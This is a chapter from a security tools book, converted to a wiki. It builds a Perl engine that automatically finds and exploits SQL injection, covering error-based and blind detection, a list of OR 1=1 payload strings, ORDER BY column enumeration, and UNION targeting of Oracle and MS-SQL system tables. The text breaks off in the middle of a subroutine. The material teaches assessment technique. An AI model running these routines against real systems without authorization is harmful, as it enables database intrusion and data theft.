Docbook2Wiki: Initial conversion from Docbook

Docbook2Wiki — Tue, 11 Mar 2008 21:39:00 GMT

Initial conversion from Docbook

New page

{{Network Security Tools/TOC}}
In the world of vulnerability scanners, false positives are a common and unfortunate side effect. A false positive arises when an assessment tool reports a vulnerability even though the vulnerability doesn't exist. Most vulnerability scanners won't actually exploit the vulnerability they are attempting to detect, but this is often the most accurate method of determining whether a vulnerability truly exists. In this chapter, we look at how to build some automated exploit routines into the web application vulnerability scanner we developed in the previous chapter. This will serve both to minimize the number of false positives reported, and to save time when attempting to develop proof-of-concept exploits for demonstrating the vulnerability's impact. You should consider this chapter to be an extension of [[Network Security Tools/Modifying and Hacking Security Tools/Developing Web Assessment Tools and Scripts|Chapter 8]], so if you haven't read [[Network Security Tools/Modifying and Hacking Security Tools/Developing Web Assessment Tools and Scripts|Chapter 8]] yet, you'll want to do so before continuing.

The primary reason for automating manual exploits is to save valuable time and effort when performing security assessments. Brute-force routines in various tools provide a good example of how automation has historically been applied to vulnerability exploits. Whether in password-cracking utilities such as John the Ripper or in a buffer overflow exploit script to obtain the correct offset value, the goal is to perform tasks that aren't feasible by hand or would take a significant amount of time to perform manually. For this chapter, we've chosen SQL injection as the vulnerability for which we will build an automated exploit engine. SQL injection is a good candidate for automation because well-defined, methodical techniques exist for constructing a working exploit. Additionally, a successful exploit often requires numerous requests to construct the correct syntax. Adding the exploit engine also broadens our criteria for detecting potential vulnerabilities. The exploit engine discovers a larger range of vulnerabilities, and confirming whether a vulnerability actually exists eliminates false positive results reported by the tool.

== SQL Injection Exploits ==

As with any automation tool, you should be familiar with the process the tool attempts to automate in order to develop the tool properly. A detailed explanation of SQL injection exploits is beyond the scope of this chapter, so the rest of the text assumes you're familiar with SQL injection and typical exploits. Numerous papers have been written on the topic and you can easily obtain them by searching for "SQL Injection Whitepaper" online.

=== Exploit Categories ===

In general, SQL injection exploits fit into the following three categories:

;<tt>DATA READ</tt>
: As the name implies, these exploits allow data to be read or extracted from the target database. These exploits can be as simple as attacks that modify the query's search criteria to return all records within the specified table (such as appending <tt>OR 1=1</tt> to the <tt>WHERE</tt> portion of the query). More sophisticated exploits allow the addition of a <tt>UNION</tt> operator to return results of arbitrary queries along with the original application dataset. These exploits rely on standard SQL syntax, and typically succeed against most SQL-driven databases.
;<tt>DATA WRITE</tt>
: These exploits allow data to be written to the database, most commonly using either an <tt>INSERT</tt> or <tt>UPDATE</tt> query. Like the previous category, these exploits succeed on most standard SQL-driven databases.
;<tt>EXECUTE</tt>
: These exploits are possible only with certain databases and typically execute a stored procedure or another database-specific command. The nature and extent of possible exploits vary between database servers.

Although it would be nice to develop a "silver bullet" tool that can automate exploits against any database using any of these techniques, documenting such a tool would require far more than one chapter. In this chapter, we focus on the <tt>DATA</tt> <tt>READ</tt> exploits because these are least likely to result in damage to the underlying data and/or application. As we develop our exploit tool, we will attempt to minimize the number of database-specific strings and routines in order to make the code as flexible and extensible as possible.

=== Exploit Techniques ===

In addition to different categories of SQL injection exploits, there are also different exploit techniques and methodologies. Each method has benefits and drawbacks and can be performed in only certain scenarios. Our exploit engine will use the two basic techniques discussed in the next two subsections to perform exploits.

==== Error-based SQL injection ====

The most basic technique for exploiting SQL injection uses database error messages to determine the query's structure and to build a vulnerability exploit request. Error-based SQL injection is relatively easy to detect by the database-level error messages disclosed by the application. These error messages, when available to the attacker, are very useful when constructing a working exploit. They provide an easy aid for developing a syntactically correct exploit request. An attacker who is intimately familiar with the various error messages returned by different database servers can often obtain all the necessary information required to exploit the vulnerability through these messages. Unfortunately, due to the large number of different error messages a given database server generates, automated exploits relying on these messages are more prone to error, because even different versions of the same database server can return different messages under the same scenarios. Most commercial application-level scanners (such as SPI Dynamics' WebInspect and Sanctum's AppScan), and even the scanner we developed in the previous chapter, do a fairly good job of detecting potential error-based SQL injection points using error message signatures, but because they don't attempt to exploit the potential vulnerability, they are prone to reporting false positive results.

==== Blind SQL injection ====

In today's web application environment, it's common for application developers and administrators to configure web applications and servers not to return detailed error messages to end users. Even if the code doesn't properly handle exceptions, most application and web servers suppress these details and return a custom error page or message to the user. To detect and exploit SQL injection vulnerabilities in these applications, you must use a more sophisticated approach. Blind SQL injection detects general application error conditions. Subsequent requests deduce what is happening within the application code based on the presence or absence of the error condition. A series of these requests can expose virtually the same level of exploits as the error-based approach. However, few commercial application scanners effectively detect blind SQL injection points.

== The Exploit Scanner ==

The SQL injection scanner combines the best of both worlds by utilizing both error-based and blind SQL injection techniques in the exploit engine. The exploit engine extends the scanner written in the previous chapter, and it should be called once the scanner detects a potential SQL injection point.

=== Exploit Logic ===

In the previous chapter we developed a routine that inserts a single quote into each application parameter and inspects the associated response to determine if it contains a database-related error message. Although this routine detects error-based injection vulnerabilities, the new script will contain a modified routine that can also detect blind injection points using various <tt>OR 1=1</tt> exploit strings. Once the injection point is identified, it attempts to craft a more powerful exploit that can be used to pull arbitrary data out of the database.

A <tt>UNION</tt> query is the most common way to leverage SQL injection for arbitrary data retrieval. A successful <tt>UNION</tt> exploit must follow certain syntax rules. Specifically, it must determine how many columns are in the original SQL query (a <tt>UNION</tt> query must contain the same number of columns as the query to which it is being appended). Also, the exploit must determine the appropriate datatype contained in each column (datatypes for each column in <tt>UNION</tt> queries must be the same). Due to query variations among database servers (i.e., target tables for sample exploits, datatype conversion methods, etc.), the exploit engine needs to detect the type of database server being exploited so that it can adapt the exploit queries accordingly.

The <tt>UNION</tt> exploit routine will employ a combination of blind SQL injection exploit techniques as well as traditional error-based techniques. The exploit steps and underlying process we will use to construct a blind <tt>UNION</tt> exploit are based on many of the techniques outlined in the "Blindfolded SQL Injection" whitepaper written by WebCohort (now Imperva). Although this approach is effective and reliable for constructing blind <tt>UNION</tt> exploits, you cannot apply it under all circumstances.

Because the blind approach doesn't work under all circumstances, we need to default to error-based injection techniques when the blind approach fails. The error-based approach relies on specific known database error messages returned by the application, which means we also need to be familiar with the various error messages each database server can return under these circumstances. We will use this approach only when the blind approach fails, because there is much more room for error or failure if an unexpected error message gets returned. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-FIG-1|Figure 9-1]] shows an illustration of the overall exploit logic.

<div id="networkst-CHP-9-FIG-1">
'''Figure 9-1. Visual representation of exploit logic'''

[[Image:Network Security Tools_I_3_tt464.png|Visual representation of exploit logic]]
</div>

=== The Code ===

Now that we have provided a general overview of the logic flow that our exploit engine will implement, we can begin writing some code. As we mentioned before, we plan to extend the scanner developed in the previous chapter so that the exploit engine gets invoked when it detects a potential SQL injection point. We start by making a copy of ''simpleScanner.pl'' and calling it ''extendedScanner.pl'' .

The first thing we need to do is make some slight modifications to the existing code. For starters, we need to declare several variables used for testing before we move into the <tt>for</tt> loop on each input request. We do this so that we can reference these variables from within various subroutines without having to provide them as inputs to each routine. If you recall, the previous script declared a few variables and hashes before beginning any testing. Here are the original declarations:

my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog);

For the extended scanner, we simply add some variables and arrays to this list. Instead of explaining what each variable or array is used for right now, we will explain each one as we use it. For now, let's go ahead and modify the preceding line of code as follows:

my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog, $paramRequest, $sqlVuln,
$sqlOrVuln, $sqlUnionVuln, $sqlColumnVuln, $sqlDataTypeVuln, $unionExploitRequest,
@dbDataTypeArray, @dtCombinations, $sqlDbType);

Now that we have declared our new variables, let's move down to the parameter-based testing logic. You'll notice that we have declared the <tt>$paramRequest</tt> variable in the preceding code block. This variable was declared within the <tt>for</tt> loop on each input file entry and was not within the scope of our testing subroutines. For example, when ''simpleScanner.pl'' called its various testing subroutines (such as <tt>sqlTest</tt>), it passed the <tt>$paramRequest</tt> variable to each subroutine as an input variable. In the extended scanner, all our testing subroutines inherently have access to this variable. To compensate for this, we need to modify the line where <tt>$paramRequest</tt> was declared (within the parameter loop) to remove the <tt>my</tt> keyword:

$paramRequest = $methodAndFile."?".$testData;

We leave most of the main script routine from ''simpleScanner.pl'' intact, but we need to add some additional subroutine calls between the existing calls to <tt>sqlTest</tt> and <tt>xssTest</tt>.

<div class="tip">
'''Tip'''

For discussion purposes, we provide sample request values to help you understand tests that the code is generating. You should assume the value of <tt>$paramRequest</tt> for all examples is:

GET /news.jsp?id=--PLACEHOLDER--&view=F
</div>

You'll recall that the scanner calls <tt>the</tt> <tt>sqlTest</tt> subroutine to test for a potential SQL injection point on a per-parameter basis. For reference, we have provided the original <tt>sqlTest</tt> routine here:

sub sqlTest {
my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable);
($sqlRequest) = @_;

# Replace the "---PLACEHOLDER---" string with our test string
$sqlRequest =~ s/---PLACEHOLDER---/te'st/;
# Make the request and get the response data
($sqlStatus, $sqlResults) = makeRequest($sqlRequest);

# Check to see if the output matches our vulnerability signature.
my $sqlRegEx = qr /(OLE DB|SQL Server|Incorrect Syntax|ODBC Driver|ORA-|SQL
command not|Oracle Error Code|CFQUERY|MySQL|Sybase| DB2 |Pervasive|Microsoft
Access|MySQL|CLI Driver|The string constant beginning with|does not have an
ending string delimiter|JET Database Engine error)/i;
if (($sqlResults =~ $sqlRegEx) && ($oResponse !~ $sqlRegEx)) {
$sqlVulnerable = 1;
printReport("\n\nALERT: Database Error Message Detected:\n=> $sqlRequest\n\n");
} else {
$sqlVulnerable = 0;
}
# Return the test result indicator
return $sqlVulnerable;
}

To properly extend the scanner to detect blind SQL injection vulnerabilities, we must modify the <tt>sqlTest</tt> routine to detect generic errors in addition to detailed SQL errors and to leverage the <tt>$paramRequest</tt> variable that is now within scope for this subroutine. Let's go ahead and walk through the modified <tt>sqlTest</tt> routine from the top:

sub sqlTest {
my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable)
$sqlRequest = $paramRequest;

As you can see here, we still declare the same list of local variables and we have removed the reference to the input variable. To compensate for this, we assign <tt>$paramRequest</tt> to <tt>$sqlRequest</tt> so that subsequent routines can still access the unmodified <tt>$paramRequest</tt> variable. Next, we continue to build and make the test request just as we did before:

# Replace the "---PLACEHOLDER---" string with our test string
$sqlRequest =~ s/---PLACEHOLDER---/te'st/;
# Make the request and get the response data
($sqlStatus, $sqlResults) = makeRequest($sqlRequest);

Now that we have made the request, we must determine whether it has invoked an error. Things happen a bit differently here than before because now we need to detect subtler errors. To do this, first we must decide what we consider to be a "potential" SQL injection point. For starters, we know that the same error messages we were previously checking for are also the best indication of a potential SQL injection point. In addition to these "standard" database errors, we also want to detect the presence of more "generic" error conditions that could indicate a potential SQL injection point. These generic errors can come in various forms:

* A server response code of 500 (Server Error)
* A generic error message such as "Unable to Process Request" or "An Error Has Occurred" in the response content
* A very short or empty response (such as a zero-length response)

If we invoke a generic error we still need to do more testing to determine whether it actually is an injection point, so the goal of <tt>sqlTest</tt> is only to identify a potential SQL injection point, not to confirm it.

<div class="tip">
'''Tip'''

For our examples, assume the application server is configured to suppress all unhandled error message details and to return a standard "500—Internal Server Error" message.
</div>

To allow for more generic error identification, all we do in this subroutine is flag the potential vulnerability, classify it based on the suspicious attribute we observe, and continue additional testing:

# Check to see if the output matches our vulnerability signatures.
if (($sqlResults =~ $sqlRegEx) && ($oResponse !~ $sqlRegEx)) {
$sqlVulnerable = 1;
printReport("\n\nALERT: Database Error Message Detected:\n=> $sqlRequest\n\n");
} elsif (($sqlStatus =~ /^500/) && ($oStatus !~ /^500/)) {
$sqlVulnerable = 2;
printReport("\n\nALERT: 500 Error Code Detected:\n=> $sqlRequest\n\n");
} elsif (($sqlResults =~ /error|unable to|cannot/i) && ($oResponse !~ /error|unable to/i)) {
$sqlVulnerable = 3;
printReport("\n\nALERT: Generic Error Message Detected:\n=> $sqlRequest\n\n");
} elsif (length($sqlResults) < 100 && length($oResponse) > 100) {
$sqlVulnerable = 4;
printReport("\n\nALERT: Small Response Detected:\n=> $sqlRequest\n\n");
} else {
$sqlVulnerable = 0;
}

As you can see here, we use the <tt>$sqlVulnerable</tt> variable (declared at the top of our script) to identify whether one of four possible error attributes was observed in the response. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-1|Table 9-1]] provides a listing of each error attribute and its associated value (<tt>$sqlVulnerable</tt>).

<div id="networkst-CHP-9-TABLE-1">
'''Table 9-1. Error attributes and their associated values'''

{| border="1"
|-
! $sqlVulnerable !! Error classification !! Classification criteria
|-
|

1
| Detailed database error || Database error message detected in the test response, but not in the original page response.
|-
|

2
| 500 server error || 500 status code returned in the test response, but not in the original page response.
|-
|

3
| Generic error message || Generic error message (string including <tt>unable</tt><tt>to</tt>, <tt>error</tt>, or <tt>cannot</tt>) returned in the test response, but not in the original page response.
|-
|

4
| Small (length) response || Test response was 100 characters or less in length, and the original page response was greater than 100 characters in length.
|-
|

0
| No error || None of the error classification criteria were met.
|}
</div>

The <tt>$sqlVulnerable</tt> value is referenced by virtually all the other SQL exploit routines in subsequent testing. If no error attribute is observed, the variable is set to <tt>0</tt>. In either case, the value is returned and we close the subroutine:

# Return the test result indicator
return $sqlVulnerable;
}

At this point during execution, we return to the main script body to perform additional parameter-based tests.

<div class="tip">
'''Tip'''

The value returned by <tt>sqlTest</tt> in our example (and now assigned to <tt>$sqlVuln</tt>) is <tt>2</tt>.
</div>

Because we are creating some new exploit routines, we need to add some logic to our main script body after the <tt>sqlTest</tt> routine finishes . Specifically, we check the value returned by <tt>sqlTest</tt> to determine if we should perform additional injection testing or simply continue with the remaining parameter-based tests. Recall that ''simpleScanner.pl'' made two consecutive parameter-based tests, one for SQL injection (<tt>sqlTest</tt>) and one for XSS (<tt>xssTest</tt>). The original parameter-based testing calls are shown here:

## Perform input validation tests
my $sqlVuln = sqlTest($paramRequest);
my $xssVuln = xssTest($paramRequest);

For our extended scanner, we need to include some additional logic between the two parameter testing subroutine calls. Because we modified <tt>sqlTest</tt> to not accept an input variable (as <tt>$paramRequest</tt> is now within scope for the subroutine), we modify the call to not pass an input variable:

## Perform input validation tests
my $sqlVuln = &sqlTest;

The next step is to include some logic to check the value of <tt>$sqlVuln</tt> to determine whether additional injection testing needs to be performed. If the value of this variable is not <tt>0</tt>, we call the first of our new exploit-related subroutines (<tt>sqlOrTest</tt>):

if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;

The purpose of the <tt>sqlOrTest</tt> subroutine is to attempt a very simple exploit to confirm the "exploitability" of the injection point we identified.

==== sqlOrTest subroutine ====

We mentioned before that one of the simplest data read exploits appends <tt>OR 1=1</tt> to the end of the original query to alter the <tt>WHERE</tt> criteria used by the query. For example, consider the following vulnerable code:

Sql = "SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CATID_ID=
(SELECT CAT_ID FROM NEWS WHERE NEWS.NEWS_ID='" + request.getQueryString("id") + "')
AND NEWS.ACTIVE='Y'"

The <tt>id</tt> request parameter is inserted within the query to return specific records based on the parameter value. The following request, when made by our web scanner, invokes an error that our scanner should recognize:

<nowiki>Request: http://www.myserver.com/news.jsp?id=te'st&view=F</nowiki>

If the application server is configured to return detailed error messages, the error should be recognized by <tt>sqlTest</tt> and the <tt>$sqlVuln</tt> variable is assigned a value of <tt>1</tt>. If the application server is configured to suppress detailed error messages, or if the application is coded to handle errors gracefully, hopefully one of our generic error criteria is met and the <tt>$sqlVuln</tt> variable is assigned a value of <tt>2</tt>, <tt>3</tt>, or <tt>4</tt>. The goal of the <tt>sqlOrTest</tt> routine is to make an exploit request that results in the absence of the error condition originally detected by <tt>sqlTest</tt>. Consider the following request to the page in the previous example:

<nowiki>Request: http://www.myserver.com/news.jsp?id=1')%20OR%20 ('1'='1&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
(SELECT CAT_ID FROM NEWS WHERE NEWS_ID='1') OR ('1'='1') AND ACTIVE='Y'</nowiki>

This request would result in the execution of a well-formed query against the application database. Because the query is well-formed, we would expect it to run successfully and not result in any type of error. Depending on how the page logic is constructed, it could display all the news stories contained within the table (because several records are likely to be returned by the query) or it might return only the first record contained in the dataset (if the page is expecting only a single record, it most likely would not loop through the entire dataset). The important point here is that in either case, the query runs successfully and does not result in an application error.

To automate an exploit for the preceding scenario, our exploit engine inserts several different <tt>OR 1=1</tt> test strings in an attempt to make the application execute a well-formed query. The script knows whether the exploit was successful, because the response generated by a successful exploit request should not contain an error. Note that the previously shown exploit string does not include a trailing single quote after the last <tt>1</tt> because the application appends a single quote onto the end of the original query (along with some additional <tt>WHERE</tt> criteria). Although this exploit string creates a well-formed query, we should also keep in mind that many database servers support the double-hyphen (<tt>--</tt>) comment marker, which can also be appended to the end of an injection exploit string. As we mentioned before, utilizing the double hyphen allows for greater flexibility in developing a working exploit because any trailing SQL code appended by the application after our injected data is effectively ignored. For instance, consider the same example from before, but with the following request:

<nowiki>Request: http://www.myserver.com/news.jsp?id=1')%20OR%20'1'='1'--&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
(SELECT CAT_ID FROM NEWS WHERE NEWS_ID=' 1')%20OR%20'1'='1'--') AND ACTIVE='Y'</nowiki>

This query would also run successfully, provided that the database server supports the double-hyphen comment marker. Because of this, we are sure to include several test strings in our <tt>OR 1=1</tt> list that utilize the double hyphen at the end of the exploit string. Due to the relative simplicity of the <tt>OR 1=1</tt> exploits, the exploit routines are not in any way database-specific and can be executed against almost any standard SQL-driven database.

<div class="tip">
'''Tip'''

For the purposes of our discussion, we use the SQL query and request from the previous example as a reference for providing sample values as though the script were executing. The value of <tt>$paramRequest</tt> in our examples is:

GET /news.jsp?id=--PLACEHOLDER--&view=F
</div>

Our <tt>sqlOrTest</tt> routine starts by declaring an array of potential exploit strings to insert into the vulnerable parameter:

sub sqlOrTest {
my @sqlOrArray=(
"1%20OR%20'1'%3D'1'--",
"1'%20OR%201%3D1--",
"1\)%20OR%20'1'%3D'1'--",
"1'\)%20OR%201%3D1--",
"1\)\)%20OR%20'1'%3D'1'--",
"1'\)\)%20OR%201%3D1--",
"1\)\)\)%20OR%20'1'%3D'1'--",
"1'\)\)\)%20OR%201%3D1--",
"%20OR%20'1'%3D'1'--",
"'%20OR%201%3D1--",
"1'%20OR%20'1'%3D'1",
"1'%20OR%201%3D1",
"1%20OR%20'1'%3D'1'",
"1'\)%20OR%20$'1'%3D'1",
"1'$%20OR%20$1%3D1",
"1$%20OR%20$'1'%3D'1'",
"1'$\)%20OR%20$\('1'%3D'1",
"1'$\)%20OR%20$\(1%3D1",
"1$\)%20OROR%20$\('1'%3D'1'",
"1'$\)\)%20OR%20$\(\('1'%3D'1",
"1'$\)\)%20OR%20$\(\(1%3D1",
"1$\)\)%20OR%20\(\(\('1'%3D'1'"
);

As you can see, there are several potential exploit strings. The first several strings in the array utilize the double hyphen because we prefer to use one of these strings for maximum flexibility. The second half of these exploit strings is designed to make a well-formed query without using the double hyphen by attempting to incorporate additional SQL code appended to the injected value.

Next, we declare the <tt>$sqlOrSuccess</tt> variable with a value of <tt>false</tt>. This variable will eventually contain one of our test strings if we detect that the test string has resulted in a successful exploit. As we loop through the array of test strings, we replace the vulnerable parameter with the test string value and make the test request. Note that we perform the test request only if the <tt>$sqlOrSuccess</tt> variable is still set to <tt>false</tt>:

my $sqlOrSuccess = "false";
foreach my $sqlOr (@sqlOrArray) {
if ($sqlOrSuccess eq "false") {

# Replace the "---PLACEHOLDER---" string with our test string
my $sqlOrTest = $paramRequest;
$sqlOrTest =~ s/---PLACEHOLDER---/$sqlOr/;

# Make the request and get the response data
my ($sqlOrStatus, $sqlOrResults) = makeRequest($sqlOrTest);

Once we make each test request, we check to see if the response contained the error condition detected by the <tt>sqlTest</tt> subroutine. For cases in which the value is <tt>1</tt>, we are already fairly certain that a potential SQL injection vulnerability exists. As such, this subroutine serves primarily to confirm the exposure's exploitability. For cases in which the value is <tt>2</tt>, <tt>3</tt>, or <tt>4</tt>, we are still uncertain as to the exact nature of the error because we do not have any indication that the vulnerability is in fact due to an SQL error. In these cases, this subroutine is critical for confirming that the error is in fact an SQL injection point:

if (($sqlOrResults !~ $sqlRegEx && $sqlVuln == 1) || ($sqlOrStatus !~ /^500/ && $sqlVuln == 2) || ($sqlOrResults !~ /error|unable to|cannot/i && $sqlVuln == 3) || (length($sqlOrResults) > 100 && $sqlVuln == 4)) {
$sqlOrSuccess = $sqlOr;
printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlOrTest\n\n");
}

If the exploit appears to have succeeded (the error condition is absent), we assign the successful test string to the <tt>$sqlOrSuccess</tt> variable and print a message to the user. Subsequent exploit tests within this subroutine are not performed now that the <tt>$sqlOrSuccess</tt> variable is no longer set to <tt>false</tt>. Finally, we close the <tt>if</tt> statement and <tt>for</tt> loops and return the <tt>$sqlOrSuccess</tt> variable:

}
}
return $sqlOrSuccess;
}

[[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-2|Table 9-2]] lists the test requests made by this subroutine for our example.

<div id="networkst-CHP-9-TABLE-2">
'''Table 9-2. Test requests and responses'''

{| border="1"
|-
! Test request !! Response
|-
|

GET /news.jsp?id=1%20OR%20'1'%3D'1'--&view=F
|

500 Server Error
|-
|

GET /news.jsp?id=1'%20OR%201%3D1--&view=F
|

500 Server Error
|-
|

GET /news.jsp?id=1)%20OR%20'1'%3D'1'--&view=F
|

500 Server Error
|-
|

GET /news.jsp?id=1')%20OR%201%3D1--&view=F
|

200 OK
|}
</div>

Now that the <tt>sqlOrTest</tt> subroutine is complete, we move back up to the main script body and continue execution. At this point in our main script body, we must determine whether the <tt>sqlOrTest</tt> routine was successful. We know from looking at the subroutine code that the value returned contains a test string if the subroutine was successful; otherwise, it returns the word <tt>false</tt>. Our next step is to check the value of <tt>$sqlOrVuln</tt> and continue performing SQL testing if it is not equal to <tt>false</tt>:

if ($sqlOrVuln ne "false") {

If the value is equal to <tt>false</tt>, we skip the remaining SQL tests and continue with the next parameter-based test routine (XSS in this case). Otherwise, we perform additional SQL injection-related exploit tests.

<div class="tip">
'''Tip'''

For our example, the value of <tt>$sqlOrVuln</tt> is:
</div>

1')%20OR%201%3D1--

Now we must decide whether to initiate the blind SQL injection exploit routines or skip directly to the error-based routines. As we mentioned during our logic overview, the methodology used by our blind routines will be effective only when the exploit string utilizes the double-hyphen (<tt>--</tt>) comment marker. If the <tt>$sqlOrVuln</tt> variable ends with the <tt>--</tt> character sequence, we call the first of two blind injection routines (<tt>sqlBlindColumnTest</tt>):

if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;

The purpose of the first blind testing routine is to brute-force the number of columns in the original SQL query so that we can exploit the vulnerability with a <tt>UNION</tt> query. Because this routine is called for both blind and error-based injection points, it cannot rely on any database-specific error messages. This routine simply takes the exploit string used by <tt>sqlOrTest</tt> (currently assigned to <tt>$sqlOrVuln</tt>) and appends the <tt>ORDER</tt> <tt>BY</tt> keyword followed by a column number (incrementing from 1 to a predetermined upper limit) to determine the number of columns in the SQL query. Provided that we are specifying a valid column number, the error condition detected by <tt>sqlTest</tt> should not be present. As we increment the <tt>ORDER</tt> <tt>BY</tt> value, we know when we exceed the number of columns in the SQL query because the error condition detected by <tt>sqlTest</tt> returns. This error is due to an invalid column position specified in the query's <tt>ORDER BY</tt> clause.

==== sqlBlindColumnTest subroutine ====

We start this subroutine by declaring two variables. The first (<tt>$sqlBlindNumCols</tt>) is the column counter we increment during testing. The second (<tt>$sqlBlindColumnSuccess</tt>) is the variable we use to track whether the routine is successful in determining the correct number of query columns. Just as we did in the <tt>sqlOrTest</tt> routine, we initially set this value to <tt>false</tt>, and we assign the number of columns in the query to this variable only when we detect that the column number enumeration has been successful:

sub sqlBlindColumnTest {
my $sqlBlindNumCols = 1;
my $sqlBlindColumnSuccess = "false";

Next, we start our testing loop. For each loop iteration, we construct the same request used in the successful <tt>OR</tt> <tt>1=1</tt> test, but we remove everything after the word <tt>OR</tt> and replace it with the <tt>ORDER</tt> <tt>BY</tt> keyword, followed by the value of <tt>$sqlBlindNumCols</tt>. We do this to preserve the character sequence necessary to properly close off the original query ('<tt>1)</tt> in our example) to make the query well-formed:

do {
my $sqlBlindColumnString = $sqlOrVuln;
my $sqlBlindColumnTest = $paramRequest;

$sqlBlindColumnString =~ s/%20OR%20.*--/%20ORDER%20BY%20$sqlBlindNumCols--/;
$sqlBlindColumnTest =~ s/---PLACEHOLDER---/$sqlBlindColumnString/;

Then we make the test request and inspect the response to determine if the error condition detected by <tt>sqlOrTest</tt> is present (again, based on the value of the <tt>$sqlVuln</tt> variable):

# Make the request and get the response data
my ($sqlBlindColumnStatus, $sqlBlindColumnResults) = makeRequest($sqlBlindColumnTest);

if (($sqlBlindColumnResults =~ $sqlRegEx && $sqlVuln == 1) || ($sqlBlindColumnStatus =~ /^500/ && $sqlVuln == 2) || ($sqlBlindColumnResults =~ /error|unable to/i && $sqlVuln == 3) || (length($sqlBlindColumnResults) < 100 && $sqlVuln == 4)) {
$sqlBlindColumnSuccess = $sqlBlindColumnTest;
} else {
$sqlBlindNumCols++;
}
} until (($sqlBlindColumnSuccess ne "false") || ($sqlBlindNumCols > 200));

As you can see, if we detect that an error has occurred, we know we have exceeded the column count in the original query. We assign the current test request to the <tt>$sqlBlindColumnSuccess</tt> variable to end the loop; otherwise, we increment the counter variable and continue. Note that the loop is performed until either the <tt>$sqlBlindColumnSuccess</tt> variable is not equal to <tt>false</tt> (indicating success) or the counter variable (<tt>$sqlBlindNumCols</tt>) exceeds <tt>200</tt>. We use 200 as our maximum column limit because we do not want this test routine to continue indefinitely if the routine ultimately does not detect an error. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-3|Table 9-3]] lists the requests made by this subroutine in our example.

<div id="networkst-CHP-9-TABLE-3">
'''Table 9-3. Blind column enumeration requests and results'''

{| border="1"
|-
! Test request !! Response
|-
|

GET /news.jsp?id=1')%20ORDER%20BY%201--&view=F
|

200 OK
|-
|

GET /news.jsp?id=1')%20ORDER%20BY%202--&view=F
|

200 OK
|-
|

GET /news.jsp?id=1')%20ORDER%20BY%203--&view=F
|

500 Server Error
|}
</div>

Once our loop completes, we check to see that the <tt>$sqlBlindColumnSuccess</tt> variable is no longer set to <tt>false</tt>, and that the column counter is greater than <tt>2</tt>. If so, we return the number of columns in the query (which is actually one less than the current column counter value); otherwise, we return <tt>0</tt>, indicating that the routine was not successful. The reason for the second check (<tt>$sqlBlindNumCols</tt> <tt>></tt> <tt>2</tt>) is that because we know the query must have at least one column, the <tt>ORDER</tt> <tt>BY</tt> <tt>1</tt> test request should never result in an error. If it does, there's likely a problem with our exploit syntax, so we consider it a false positive and return a failed status (<tt>0</tt>):

if (($sqlBlindColumnSuccess ne "false") && ($sqlBlindNumCols > 2)) {
return $sqlBlindNumCols-1;
} else {
return 0;
}
}

Once we have determined the correct number of columns in the original query, we must determine the correct datatype for each column in the query.

<div class="tip">
'''Tip'''

For our example, the value of <tt>$sqlColumnVuln</tt> is now <tt>2</tt>.
</div>

Moving back to the main script body, we need to check that the previous subroutine was successful (based on the <tt>$sqlColumnVuln</tt> variable). If it wasn't, we move on to the error-based <tt>UNION</tt> routines to make a second attempt at column number enumeration (more on that in a few minutes). If the previous subroutine was successful (if the <tt>$sqlColumnVuln</tt> variable was not set to <tt>0</tt>), we call the second of our two blind <tt>UNION</tt> routines (<tt>sqlBlindDataTypeTest</tt>):

if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;

Up to this point, none of our test routines has been database-specific. In other words, all the tests we have performed should work in the same way, regardless of whether the database was a Microsoft SQL Server or an Oracle database server. For the next test routine, we must detect the type of database server we are exploiting to adjust our test requests accordingly. Specifically, we need two pieces of information for each database server we want to test:

* A default "world-readable" table name to attempt to query
* A list of common datatypes (and associated conversion functions)

We already decided we would support both Oracle and Microsoft SQL Server for our extended scanner. As such, these are the only two databases for which we need this information. We define a hash containing the database-specific data at the top of our script in the same place where we declared our initial variables a while back. Keep in mind that we might not need to include every datatype the server supports because many of them are not commonly used and some datatypes can automatically convert to others. For Oracle, we use the <tt>CHAR</tt>, <tt>NUMBER</tt>, and <tt>DATE</tt> datatypes, and the <tt>ALL_TABLES</tt> table as our default world-readable table. For Microsoft SQL Server, we use the <tt>VARCHAR</tt> and <tt>INT</tt> datatypes (Microsoft SQL Server is much more lenient with respect to auto conversion of datatypes than Oracle), and the <tt>MASTER..SYSDATABASES</tt> table as our default world-readable table. The hash defined at the top of our script should look something like the following:

my %databaseInfo;

# MS-SQL
$databaseInfo{mssql}{tableName} = "MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} = ["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];

# Oracle
$databaseInfo{oracle}{tableName} = "ALL_TABLES";
$databaseInfo{oracle}{dataTypes} = ["TO_CHAR(1)","TO_NUMBER(1)","TO_DATE('01','MM')"];

The goal here is to construct a well-formed <tt>UNION</tt> query to the specified table name and to have explicit datatypes in each column position. We won't bother querying the actual field names in each database, because we can plug the converted datatype string into the column position as a literal value and have the query execute properly. Now that we have our database-specific information in the hash, we can go ahead and start coding the next subroutine.

==== sqlBlindDataTypeTest subroutine ====

We mentioned before that the first thing this subroutine attempts to do is to detect the type of database we are exploiting.

<div class="tip">
'''Tip'''

For the purposes of our example, the database server we are currently exploiting is Oracle 9i.
</div>

The <tt>$sqlDbType</tt> variable was declared along with several other variables at the beginning of our script. We assign this variable a value of <tt>unknown</tt> and once (if ) the database server is detected, we populate it with the database server type. To detect the database, we loop through each key in the <tt>%databaseInfo</tt> hash (essentially a list of the database servers we are supporting) and attempt to make a query to the world-readable table defined for that database:

sub sqlBlindDataTypeTest {
$sqlDbType = "unknown";
